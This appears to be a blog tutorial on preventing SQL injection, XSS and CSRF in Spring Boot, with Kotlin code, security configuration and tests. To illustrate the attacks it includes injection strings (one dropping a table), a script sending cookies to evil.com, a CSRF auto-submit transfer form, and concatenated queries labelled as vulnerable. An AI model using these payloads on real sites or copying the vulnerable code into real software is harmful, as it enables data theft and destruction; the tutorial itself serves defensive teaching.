PCSalt
YouTube GitHub
Back to Security
Security · 4 min read

CSRF, XSS & SQL Injection — Practical Prevention in Spring Boot

Understand CSRF, XSS, and SQL injection attacks — what they are, how they exploit web applications, and how to prevent each one in Spring Boot with practical examples.


Three attacks have been exploiting web applications for decades: CSRF, XSS, and SQL injection. They’re well-understood, preventable, and still in the OWASP Top 10. This post covers what each attack is, how it works, and how to prevent it in Spring Boot.

SQL injection

What it is

SQL injection happens when user input is concatenated directly into a SQL query:

// VULNERABLE — never do this
@GetMapping("/search")
fun search(@RequestParam name: String): List<Product> {
  val query = "SELECT * FROM products WHERE name = '$name'"
  return jdbcTemplate.query(query, productRowMapper)
}

An attacker sends:

GET /search?name=' OR '1'='1

The query becomes:

SELECT * FROM products WHERE name = '' OR '1'='1'

This returns every row. Worse, an attacker could send:

GET /search?name='; DROP TABLE products; --

Prevention: parameterized queries

Always use parameterized queries. The database treats parameters as data, never as SQL code.

With Spring Data JPA (default safe)

interface ProductRepository : JpaRepository<Product, UUID> {

  fun findByName(name: String): List<Product>

  @Query("SELECT p FROM Product p WHERE p.name LIKE :pattern")
  fun search(@Param("pattern") pattern: String): List<Product>
}

Spring Data method queries and @Query with parameters are safe by default. The :pattern placeholder is bound as a parameter.

With JdbcTemplate

// SAFE — parameterized query
fun findByName(name: String): List<Product> {
  return jdbcTemplate.query(
    "SELECT * FROM products WHERE name = ?",
    productRowMapper,
    name
  )
}

With native queries

@Query(
  value = "SELECT * FROM products WHERE name ILIKE :pattern",
  nativeQuery = true
)
fun searchNative(@Param("pattern") pattern: String): List<Product>

Native queries with @Param are parameterized. The danger is string concatenation:

// VULNERABLE — string concatenation in native query
@Query(
  value = "SELECT * FROM products WHERE name LIKE '%" + "#\{name}" + "%'",
  nativeQuery = true
)
fun searchBroken(name: String): List<Product>

Rule: if you see string concatenation anywhere near a SQL query, it’s probably vulnerable.

Additional defenses

  • Least privilege — database users should only have the permissions they need. The app user shouldn’t have DROP TABLE rights.
  • Input validation — validate that input matches expected patterns before it reaches the database.
  • WAF rules — a web application firewall can block obvious injection patterns as a defense-in-depth layer.

Cross-Site Scripting (XSS)

What it is

XSS happens when an application renders user-supplied data as HTML without escaping it. There are three types:

Stored XSS — malicious script is saved in the database and rendered to other users:

User submits comment: <script>document.location='https://evil.com/steal?cookie='+document.cookie</script>

If the app renders this comment as raw HTML, every user who views it executes the script.

Reflected XSS — malicious script is in the URL and reflected back in the response:

https://example.com/search?q=<script>alert('xss')</script>

DOM-based XSS — JavaScript on the page inserts user input into the DOM without escaping.

Prevention in Spring Boot APIs

If your Spring Boot app is a JSON API (not rendering HTML), XSS risk is lower but not zero. JSON responses can still be dangerous if the frontend inserts values into the DOM without escaping.

Set correct content types

@GetMapping("/products/{id}", produces = [MediaType.APPLICATION_JSON_VALUE])
fun getProduct(@PathVariable id: UUID): ResponseEntity<ProductResponse> {
  return ResponseEntity.ok(productService.findById(id))
}

Always set Content-Type: application/json. Browsers won’t execute scripts in JSON responses.

Input sanitization

Sanitize HTML from user input before storing:

package com.example.demo.util

import org.springframework.web.util.HtmlUtils

object Sanitizer {

  fun sanitizeHtml(input: String): String {
    return HtmlUtils.htmlEscape(input)
  }

  fun sanitize(input: String): String {
    // Strip HTML tags entirely
    return input.replace(Regex("<[^>]*>"), "")
  }
}

Apply in the service layer:

@Transactional
fun create(request: CreateProductRequest): ProductResponse {
  val product = Product(
    name = Sanitizer.sanitize(request.name),
    description = request.description?.let { Sanitizer.sanitize(it) },
    price = request.price,
    stockQuantity = request.stockQuantity
  )
  return productRepository.save(product).toResponse()
}

Security headers

Add headers that help browsers prevent XSS:

@Bean
fun securityFilterChain(http: HttpSecurity): SecurityFilterChain {
  return http
    .headers { headers ->
      headers.contentTypeOptions { }  // X-Content-Type-Options: nosniff
      headers.frameOptions { it.deny() }  // X-Frame-Options: DENY
      headers.xssProtection { it.disable() }  // Modern browsers don't need X-XSS-Protection
      headers.contentSecurityPolicy { it.policyDirectives("default-src 'self'") }
    }
    // ... rest of config
    .build()
}

Content Security Policy (CSP) is the strongest defense. It tells browsers which scripts are allowed to execute.

For server-rendered pages

If you’re using Thymeleaf or another template engine, use escaped output by default:

<!-- SAFE — Thymeleaf escapes by default -->
<p th:text="${product.name}">Product name</p>

<!-- DANGEROUS — unescaped output -->
<p th:utext="${product.name}">Product name</p>

Never use th:utext with user-supplied data.

Cross-Site Request Forgery (CSRF)

What it is

CSRF tricks a user’s browser into making requests to your application using the user’s existing session. The attacker doesn’t see the response — they just trigger the action.

Example: a user is logged into their bank. They visit a malicious page that contains:

<form action="https://bank.com/transfer" method="POST" id="evil">
  <input type="hidden" name="to" value="attacker-account"/>
  <input type="hidden" name="amount" value="10000"/>
</form>
<script>document.getElementById('evil').submit();</script>

The browser sends the request with the user’s session cookie. The bank processes the transfer.

CSRF and stateless APIs

If your API uses JWT tokens in the Authorization header (not cookies), CSRF is not a risk. Browsers don’t automatically attach Authorization headers — only cookies.

This is why the JWT auth post disables CSRF:

http.csrf { it.disable() }

Only disable CSRF if you’re not using cookie-based authentication.

When you need CSRF protection

If your app uses sessions or cookie-based auth (like traditional Spring Security form login), keep CSRF enabled:

@Bean
fun securityFilterChain(http: HttpSecurity): SecurityFilterChain {
  return http
    .csrf { csrf ->
      csrf.csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
      csrf.csrfTokenRequestHandler(CsrfTokenRequestAttributeHandler())
    }
    // ... rest of config
    .build()
}

Spring Security generates a CSRF token and expects it on state-changing requests (POST, PUT, DELETE).

With Thymeleaf

Thymeleaf automatically includes the CSRF token in forms:

<form th:action="@{/products}" method="post">
  <!-- CSRF token is added automatically -->
  <input type="text" name="name"/>
  <button type="submit">Create</button>
</form>

With JavaScript (SPA)

For single-page apps using cookie auth, read the CSRF token from the cookie and send it as a header:

function getCsrfToken() {
  const cookie = document.cookie
    .split('; ')
    .find(row => row.startsWith('XSRF-TOKEN='));
  return cookie ? cookie.split('=')[1] : null;
}

fetch('/api/products', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-XSRF-TOKEN': getCsrfToken()
  },
  body: JSON.stringify({ name: 'Widget' })
});

CSRF protection for specific endpoints

If most of your API is stateless (JWT) but some endpoints use cookies (like an admin panel), disable CSRF selectively:

http.csrf { csrf ->
  csrf.ignoringRequestMatchers("/api/**")
  // CSRF enabled for /admin/** which uses session auth
}

Defense in depth checklist

AttackPrimary DefenseSecondary Defense
SQL InjectionParameterized queriesInput validation, least privilege
Stored XSSOutput encoding, input sanitizationCSP headers
Reflected XSSOutput encodingCSP headers, input validation
CSRFCSRF tokens (cookie auth) or no cookies (JWT)SameSite cookie attribute

Spring Boot defaults that help

Spring Boot and Spring Security provide several defenses out of the box:

  • JPA/JPQL — parameterized by default
  • Spring Data method queries — parameterized by default
  • Thymeleaf — HTML-escapes by default
  • Spring Security — CSRF enabled by default, security headers set by default
  • Jackson — JSON serialization doesn’t execute scripts

The main risk is when you bypass these defaults — raw SQL concatenation, th:utext, disabled CSRF with cookie auth, or inserting JSON values into HTML without escaping.

Testing for vulnerabilities

SQL injection test

@Test
fun `search does not allow SQL injection`() {
  productRepository.save(Product("Widget", null, BigDecimal("10.00"), ProductStatus.ACTIVE, 5))

  // Attempt SQL injection
  val results = productRepository.findByName("' OR '1'='1")

  // Should return nothing — the injection is treated as a literal string
  assertThat(results).isEmpty()
}

XSS input test

@Test
fun `product name is sanitized`() {
  val response = mockMvc.post("/api/v1/products") {
    with(jwt())
    contentType = MediaType.APPLICATION_JSON
    content = """{"name": "<script>alert('xss')</script>", "price": 10.00, "stockQuantity": 1}"""
  }.andExpect {
    status { isCreated() }
  }.andReturn()

  val body = objectMapper.readTree(response.response.contentAsString)
  assertThat(body["name"].asText()).doesNotContain("<script>")
}

These three attacks are old but still effective against applications that don’t follow basic prevention practices. Use parameterized queries, escape output, handle CSRF tokens for cookie-based auth, and test your defenses.